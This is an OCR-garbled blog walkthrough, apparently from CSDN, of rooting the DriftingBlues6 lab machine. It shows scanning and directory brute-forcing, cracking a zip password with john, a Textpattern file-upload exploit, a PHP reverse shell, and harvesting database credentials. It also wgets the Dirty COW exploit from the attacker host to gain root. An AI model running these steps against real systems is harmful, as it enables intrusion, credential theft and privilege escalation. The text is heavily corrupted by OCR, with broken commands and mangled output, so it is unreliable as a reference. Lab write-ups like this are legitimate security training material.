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netdiscover -i eth0

nmap -sV -p- 192.168.151.131
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A robots.txt

— d @ © £ 192.168.154.131

wali Docs

¢ Kali Linux % Kali Training & Kali Tools ® Kali Forums =

User-agent: *
Disallow: /textpattern/textpattern

dont forget to add .zip extension to your dir-brute
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KL —disallowf 3, MRREEELEE—F, & DERIE.
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Remain logged in with this browser

Forgot password?
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$ cobuster dir http: //192.168.154.131 /usr/share/wordlists/dirbuster/di
rectory-1list-2.3-medium.txt Zip

Gobuster v3.1.8@
by 0J Reeves (@TheColonial) & Christian Mehlmauver (@firefart)

http://192.168.154.131

Method: GET

Threads: 1@

Wordlist: fusr/share/wordlists/dirbuster/directory-list-2.
edium. txt

Negative Status codes: LO4

User Agent: gobuster/3.1.0

Extensions: Zip

Timeout: 1@s

2821/05/18 23:85:29 Starting gobuster in directory enumeration mode

/index (Status: 200) ize: 750]
/db (Status: 200) ize: 53656]
/robots (Status: 200) ize: 11@]
/spammer (Status: 200) ize: 179]
/spammer.zip (Status: 200) ize: 179]
/server-status (Status: 483) ize: 296]

2021/85/18 23:06:38 Finished
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[jﬁ |- [ ~/Downloads ]
Zip Spammer.zip

Archive: spammer.zip

[spammer.zip] creds.txt password:

password incorrect--reenter:

password incorrect-—reenter:
skipping: creds.txt incorrect password

https:/lblog.csdn.net/Jiajiajiang_
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[j4 |- [ ~/Downloads ]

Zip2 )0 spammer.zip passwd.txt 82
Created directory: /home/kali/.john

ver 2.0 spammer.zip/creds.txt PKZIP Encr: cmplen=27, decmplen=15, crc=B@083isll
D

X5 fjohndir 4, #% hash 31




[j_: |- [ ~/Downloads ]
sudo jo passwd.txt

[sudo] password for kali:

Created directory: /root/.john

Using default input encoding: UTF-8

Loaded 1 password hash (PKZIP [32/64])

Will rum 4 OpenMP threads

Proceeding with single, rules:Single

Press 'q’' or Ctrl-C to abort, almost any other key for status

Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for
performance.

Warning: Only 4 candidates buffered for the current salt, minimum 8 needed fo
r performance.

Almost done: Processing the remaining buffered candidate passwords, if any.

Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for
performance.

Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
myspacey ([ spammer.zip/creds.txt)

1g ©:00:00:00 DONE 2/3 (2021-05-18 23:14) 14.28g/s 1237Kp/s 1237Kc/s 1237KC/s
charlie9 .. shipd

Use the "--show" option to display all of the cracked passwords reliably
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yep, 1R, #Hi. mayerlionheart

[j_ 7lp Spammer.zip

Archive: spammer.zip
[spammer.zip] creds.txt password:
extracting: creds.txt

[?4 |~ [ ~/Downloads |
L5

creds.txt passwd.txt

[?4 |- ~/Downloads
1t creds.txt
mayer:lionheart
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Warning "mktime(): It is not safe to rely on the system's timezone settings. You are *required* to use the
date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and
you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone
'UTC' for now, but please set date.timezone to select your timezone.".
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% Textpattern Content~  Presentation ~  Admin ~ driftingblues @) Logout

Sort and display

Status

Format: Use Textile Live

Section

Articles Edit

Override form

Expand al Collapse all

Date and time
Categories

Meta

Comment options

Article image

Excerpt Format: Use Textile Preview Custom fields
Recent articles

phpifi i, B AT LA B 77 5 php-reverse-shell.
TeTFAE
JebAE A, RBLIX AN ems IR A .

Detail Low

Hide private information

Textpattern version: 4.8.3 (596bcaf3adb32804412499363cecech?)
LastT update: 200-0Y9-13 19:56:00

Site URL: 192.168.2.35/textpattern

Admin URL: 192.168.2.35/textpattern/textpattern

https:/fblog.csdn.net/liajiajiang_

Fsearch— |




|- ~/Downloads ]
it textpattern

Exploit Title

1.19 - 'publish.php’' Remote File Inclusion

4,2 'index.php' Cross-51

4.4,1 - "ddb" Cross-Site Scripting

[

No Results

ajiajiang_
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if len(sys.argv) < 4:

log.info ( AGE: python3 exploit.py http: get.com username password”)
inf pytho xploit.py http:/ 1Lhost admin adminn® )
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)-[~/vuln/driftingblueé]
43, 192.168.154.131/textpattern/textpattern mayer lionheart

!CE via Unrestricted File Upload

s 'mayer’

u1nfd:1+T1n9b1un&fh89 3.py", line 1 in <module>
(None, uploadToken), # Token here
name "uploadToken' is not defined

Bjiajiang_

tern/index.php?gvent=file”, verify=False,

essfully
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[#] Authenticating to Thn target as 'mayer
[V] Logged in as 'mayer’' {Cnukle txp_login=mayer%2Cclfeddlec229e5f1f548e30ca05e09bd; txp_login_public=84e5ch
b814mayer}

ceed with exploitation).

1.

has no attribute '

g.csdn.netiliajiajiang_
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© & 192.168.154.131

[ Kali Linux % Kali Training #{ Kali Tools X{ Kali Forums = Kali Docs X NetHunter Offensive Securit

x Textpattern Content~  Presentation ~  Admin~  driftingblues

Files

Upload file Mo files s

Getshell

>sdn.net/Jigjiajiang_

f—~>php-reverse-shell

Files

Upload file @ Nomas et @ Upload

ID# Name - Title Date Category Tags Status Condition : Downloads
1 | Download php-reverse-shell.php y , Textile | Textpattern | HTML Live

With 1 selected...
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[?4 )-[~/vuln/driftingblueé |

listening on [any] 443 ...

connect to [192.168.154.129] from (UNKNOWN) [192

Linux driftingblues @-4-amd64 #1 SMP Debian

PO 49:54 up 1:1@, p users, load averag . @ .

LOGING Jc CPU WHAT

1) groups= )
ob control turned off
E 1+Lon+1g
/binfsh: 1: ifconfig: not found
$ /shin/ifconfig
ethd Link encap:Ethernet |
inet addr:192.168.154.131
inet6 addr: fe -
UP BROADCAST EUNNINU HULTI
RX packets:644691 e
TX packets:54
collisions
RX bytes:9308153

Link encap:Local

inet addr

inet6 addr :1/128 Scop

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:144 errors:@ dropped:é@ runs:® frame:@
TX packets:144 errors:® dropped:® overruns:@ carrier:
collisions:@ txgueuelen:@

RX bytes:1 (13.9 KiB) TX bytes:14256 (13.9 KiB)
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$ cat config.php
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ion options, ease consult config-dist.php fil® csdn.netliajiajiang_

$txpcfg['db'] = 'textpattern_db';
$txpcfg['user'] ‘drifter’;
$txpcfg['pass’'] = 'imjustdrifting31’;
$txpcfg[ 'host'] 'localhost’;

HEHE 2 Hd A I AZ Hashell

$ python -c 'impDrT r.spawn( " /bin/bash”

www-datapdriftingblu

HERX—ANH, BRAUEH, AREAEH, HEE.



| user_id | name | pass | RealName | email

| privs | last_access
+— + —_—nmnn

1 row in set (0.81 sec)

https:/blog.csdn.netiiajiajiang_

XA —A>mysql ) i A<

www-datapdrittingblues: /% mysgl -u dritter -p
mysgl -u drifter -p
Enter password: imjustdrifting3l

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 76
Server version: 5.5.47-0+deb7ul (Debian)

og.csdn.net/Jiajiajiang_
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www-datagdriftingblues:/$ find /* -perm -u=s 2>/dev/null
find /* -perm -u=s 2>/dev/null

/bin/ping

/bin/mount

/bin/umount

/bin/su

/bin/ping6

fusr/sbin/exim4

fusr/bin/chfn

Jusr/bin/passwd

Jusr/bin/chsh

fusr/bin/gpasswd

Jusr/bin/newgrp

Jusr/lib/eject/dmcrypt-get-device

Jusr/1lib/pt_chown

fusr/Llib/openssh/ssh-keysign t dn.netliajiajiang_
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wwi-datagidriftingblues:/$ netstat -ano
netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp @ @ 127.0.8.1:3306 0.0.0.0:% LISTEN off (0.00/8/0)
tcp 127.8.0.1:25 0.0.0.0:*% LISTEN off (0.00/8/0)
tcp 192 .168.154.131:40394 192.168.154.129:443 ESTABLISHED on (8.20/0/8)
tcpb 1:: 80 111k LISTEN off (0.00/0/0)
tcpb 29:25 ajeelsc LISTEN off (@.00/8/0)
tcpb 192.168.154.131: 192.168.154.129:49286 ESTABLISHED keepalive (6140.49/0/0)
udp 0.0.0.0:68 0.0.0.0:% off (@.00/0/0)
udp D.8.0.0:18594 0.0.0.0:*% off (@.00/8/0)
udpb ::: 54781 3B off (@.00/8/0)
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 6665 fvar/run/acpid.socket
unix [ acc ] STREAM LISTENING 7046 Jvar/run/mysgld/mysqld.sock
unix [ 1] DGRAM 6623 Jdev/log
unix [ ACC SEQPACKET LISTENING 3552 Jrunfudev/control
unix [ DGRAM 70308
unix [ DGRAM 6662

[
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unix DGRAM 6639
unix DGRAM 3559
unix DGRAM 3558 https:/iblog.csdn.netiliajiajiang_
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waw-datamdriftingblues:/
uname -a
Linux driftingblues 3.2.8-4-amd64 #1 SMP Debian 3.2.78-1 x86_64 GNU/Linux

[:_ searchsploit linux 3.2.78 |grep local
Dell EMC RecoverPoint < 5.1.2 - Local Root Command Execution
Dell EMC RecoverPoint boxmgmt CLI < 5.1.2 - Arbitrary File Read
Exim < 4.86.2 - Local Privilege Escalation
Kernel (Solaris 10 / < 5.10 138888-81) - Local Privilege Escalation
Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem’ Race Condition Priv
Kernel .22 < 3.9 - 'Dirty COW /proc/self/mem’ Race Condition Privilege Esca
Kernel .22 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access
3.9
3.9

/44920, txt
/44688, txt
/39549 . txt
/15962 .c
/40616.C
/40847 .cpp
/4B838.
Kernel .22 - 'Dirty COW' "PTRACE_POKEDATA' Race Condition Privilege E /40839,

2
2 <
2 <
2. <
Kernel 2.6.22 < - 'Dirty COW' /proc/self/mem Race Condition (Write Access /40611,

3

=]

4

<

Fa

<

<

B e T T

Kernel 3.0 < 3.3.5 - 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation /38390.
REIMEL 3 I4-TCT < 3 I3 TCy (X4 ) = RaW Mode PTY ECH0 Race Comaition Privitege S 1o il L YA
Kernel 4.8.@ UDEV < 232 - Local Privilege Escalation o /41886,
Kernel .16.1 - "Remount FUSE" Local Privilege Escalation o /34923,
Kernel .16.39 (Debian 8 x64) - "inotfiy' Local Privilege Escalatien _x86-64/ /44302. ¢
Kernel .4.5 (Android 4.2.2/4.4 ARM) - Lccal Privilege Escalation /315?& C

Kernel = Q4. = ivi
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www-dataf@driftingblues: /% gcc -v

gcec -v

Using built-in specs.

COLLECT_GCC=gcc

COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-1linux-gnu/4.7/lto-wrapper

Target: x86_64-1linux-gnu

Configured with: ../src/configure -v —with-pkgversion='Debian 4.7.2-5" ——with-bugurl=file:///usr/share/doc/gcc-4.7/README.
Bugs -—-enable-languages=c,c+,go,fortran,objc,obj-c+ —prefix=/usr ——program-suffix=-4.7 ——enable-shared ——enable-linker-b
uild-id —with-system-zlib —-libexecdir=/usr/1lib —without-included-gettext ——enable-threads=posix —with-gxx-include-dir=/
usr/includef/c++/4.7 --1libdir=/usr/1lib --enable-nls --with-sysroot=/ --enable-clocale=gnu -—enable-libstdcxx-debug --enable-
libstdcxx-time=yes ——enable-gnu-unigue-object --enable-plugin --enable-objc-gc —with-arch-32=i586 -—-with-tune=generic --en
able-checking=release —build=x86_64-1linux-gnu ——host=x86_64-linux-gnu ——target=x86_64-linux-gnu

Thread model: posix

gcc version 4.7.2 (Debian 4.7.2-5) hitpsi/blog.csdn.netiajiajiang_
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[jé )= ~/vuln/driftingblue6’

sudo python3 http.server 80

[sudo] password for kali:

Serving HTTP on ©.0.0.0 port 8@ (http://0.0.0.0:80/)

192.168.154.131 - - [19/May/2021 @©:23:01] "GET /48839.c HTTP/1.1" 280 -
192.168.154.131 - - [19/May/2021 @0:23:12] "GET /4@839.c HTTP/1 .-l mewiajaiang

$ wget http:
wget http://192.168.154.129/40839.C
—2021-85-19 @87:23:01— http://192.168.154.129/40839. ¢
Connecting to 192.168.154.129:8@ ... connected.
HTTP request sent, awaiting response ... 200 0K
Length: 5006 (4.9K) [text/x-csrc]
4@839.c: Permission denied

Cannot write to "40839.c' (Permission denied).
wwi-datafdriftingblues:/$ cd tmp

cd tmp

www-data@driftingblues:/tmp$ wget http://192.168.154.129/48839.c
wget http://192.168.154.129/40839.C

—2021-85-19 @87:23:12— http://192.168.154.129/40839.c
Connecting to 192.168.154.129:8@ ... connected.

HTTP request sent, awaiting response ... 200 0K

Length: 5006 (4.9K) [text/x-csrc]

Saving to: "4@839.c’

l1oe%[ ] 5,006 ——K/s in @s

2021-85-19 ©7:23:12 (608 MB/s) - "4@839.c' saved [5806/5006]

https://blog.csdn.net/liajiajiang_
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$ ./40839

Please enter the new password: gweRT123

/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:

firefart:fic5Pi5Bvzs/g:0:0:pwned: /root:/bin/bash

mmap: 7f@f9fal7oee

ptrace @

Done! Check /etc/passwd to see if the new user was created.

You can log in with the username 'firefart' and the password 'gweRT123'.

DON'T FORGET TO RESTORE! % mv /tmp/passwd.bak /etc/passwd
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:

firefart:fic5Pi5Bvzs/g:0:0:pwned: /root:/bin/bash

mmap: 7f@f9fal7oee
madvise @

Done! Check fetc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'gweRT123'.

DON'T FORGET TO RESTORE! % mv /tmp/passwd.bak /etc/passwd

https://blog.csdn.netdiajiajiang_
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su firefart
su: must be run from a terminal
$ python -c 'import pty; pty.spawn("/bin/bash”)
www-datagidriftingblues: /tmp$ su firefart
su firefart
Password: gweRT123

firefartadriftingblues:/tmp# whoami

whoami

firefart

firefartadriftingblues:/tmp# 1id

s |

uid =|E||: firefart :| g 1d =E|[: root :] groups = [: root :| https:/iblog.csdn.net/iajiajiang_

firefartodriftingblues:~# cat flag.txt
cat flag.txt

1 1
con g ratu -l' ations: hitps://blog.csdn.netJiajiajiang_
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